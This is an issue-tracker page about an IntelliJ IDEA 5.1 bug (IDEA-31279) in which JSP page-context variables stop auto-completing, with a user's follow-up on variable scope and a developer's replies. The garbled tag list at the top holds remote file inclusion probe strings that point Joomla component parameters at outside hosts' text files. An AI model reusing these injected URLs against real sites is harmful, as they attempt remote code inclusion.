- <empty>
- beta//skin/gg...2Fcom_jce/zfxid1.txt? //index.php?_REQUEST=
- subversion linux/...2F.ajim/ajim1.txt?? //index.php?_REQUEST=
- tag: Favorites/...?option=com_frontpage ///index.php?option=com_frontpage'
- #resolved -Feature fixed in: {YouTrack EAP (67)} sort by: priority
- tag: ldap/index..._vote/fx29id1.txt?? //component/option,com_comprofiler/task,usersList/Itemid,5//index.php?_REQUEST=//index.php?_REQUEST=
- #issues
- task context/comp...Fedi...//upload/id1.txt?//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.noin9191.com/ams/ammember/fx29id1.txt??//ammember/admin.php/?DOCUMENT_ROOT=http://musicadelibreria.net/footer??
- intellij 9 slow
- tag: Cleanup//component/option,com_comprofiler/task,usersList/Itemid,5//index.php?_REQUEST=//index.php?_REQUEST=
| Priority |
Normal |
| Type | Bug |
| State | Fixed |
| Assignee | Maxim Mossienko |
| Subsystem | J2EE.JSP |
| Affected versions |
No affected versions
|
| Fixed in |
No fix versions
|
| Fixed in build |
Next build |
| Build |
4155
|
| Fixed in build |
4157
|
| Severity |
0
|
-
Submitted by
Serge Baranov
4 years ago (07 Feb 2006 03:32) -
Updated by
root
3 weeks ago (17 Jan 2010 19:26) -
Jira: IDEA-31279
(history, comments)
IDEA-31279 |
JSP page context variables not auto-completing in IntelliJ 5.1 |
|
|
Brian Lenz reports:
I have included a sample webapp that is
experiencing this problem. Just take a look at test.jsp. The primary
problem I am talking about is exhibited by the first two g:set tags. The
pageContext attributes are not available for autocomplete, ctrl-click,
property reference, etc. in IntelliJ 5.1, though they worked just fine in
5.0.2.
Additionally, I included a bit of information about a separate issue with
IntelliJ 5.0.2 where IntelliJ wasn't honoring the scope of a variable
returned in the VariableInfo for the TagExtraInfo. IntelliJ 5.0.2 always
interpreted the variable as having an AT_END scope (and thus being available
for the remainder of the page), even if the variable had AT_NESTED scope (in
which case the variable should only be available within the start/end tags.
The first issue is a much more serious issue (from our perspective) than the
second, as the lack of autocomplete is quite inhibiting. I'm going to
downgrade to 5.0.2 until this issue can be resolved.
Environment: OS: Windows XP
JDK: JDK 1.5.0
IDEA: 5.1
Build: 4155
Issue was resolved
I have included a sample webapp that is
experiencing this problem. Just take a look at test.jsp. The primary
problem I am talking about is exhibited by the first two g:set tags. The
pageContext attributes are not available for autocomplete, ctrl-click,
property reference, etc. in IntelliJ 5.1, though they worked just fine in
5.0.2.
Additionally, I included a bit of information about a separate issue with
IntelliJ 5.0.2 where IntelliJ wasn't honoring the scope of a variable
returned in the VariableInfo for the TagExtraInfo. IntelliJ 5.0.2 always
interpreted the variable as having an AT_END scope (and thus being available
for the remainder of the page), even if the variable had AT_NESTED scope (in
which case the variable should only be available within the start/end tags.
The first issue is a much more serious issue (from our perspective) than the
second, as the lack of autocomplete is quite inhibiting. I'm going to
downgrade to 5.0.2 until this issue can be resolved.
Environment: OS: Windows XP
JDK: JDK 1.5.0
IDEA: 5.1
Build: 4155
Issue was resolved
Also, I wanted to clarify the second issue. The problem is that all variables are being interpreted as AT_END, so even if you return VariableInfo with AT_BEGIN or AT_NESTED, IntelliJ won't recognize the variable for auto-completion until after the end of the tag. Thus, something like a for loop wouldn't work. e.g.:
<%
assuming loopVar had returned VariableInfo with AT_NESTED specified%><g:forEach var="loopVar" className="foo.Foo">
<%-- loopVar should be in scope for auto-completion in IntelliJ right here with type foo.Foo --%>
</g:forEach>
<%-- in IntelliJ 5.0.2, the loopVar only was accessible for auto-completion at this point, which is clearly invalid since the variable is actually only available within the body of the g:forEach tag --%>
Does that clarify the issue? If it is fixed in 5.1, then that would be wonderful. There's no way for me to tell on build 4155 since it has the general auto-completion bug, but I can confirm that it is fixed if I can get my hands on 4157.
Thanks for your help,
Brian
In two weeks we will release 5.1.1 (most likely without eap) that will contain the fix.
I tried your custom tag giving it custom parameter and it completes inside as expected (so if the problem replays then please file another issue).
It would be GREAT if you could address this issue in the upcoming 5.1.1 release.
Please let me know if you'd like me to create separate bug issues for these types of problems. I figured that since it is pretty closely related to this issue that I could piggy-back.
e.g.
class FooBean<T extends Foo> {
public T getFoo() {
return foo;
}
}
class Foo {
public getX() {
return x;
}
}
class Bar extends Foo {
public getY() {
return y;
}
}
class BarBean extends FooBean<Bar> {
}
Then, in JSP, do something like:
${barBean.foo.y}
where "barBean" is an instance of BarBean. Note that in this case, IntelliJ would detect that the "T" parameter in FooBean is of type Bar, and thus allows auto-completion of the "y" property of Bar.
Does that make sense? Let me know if you'd like a more explicit example (with sample project/code).
Please, open another issue(s) for the bugs you attached.
They will be fixed in Demetra release (only serious regression issues will be considered for 5.1.1 ).
IDEA-6695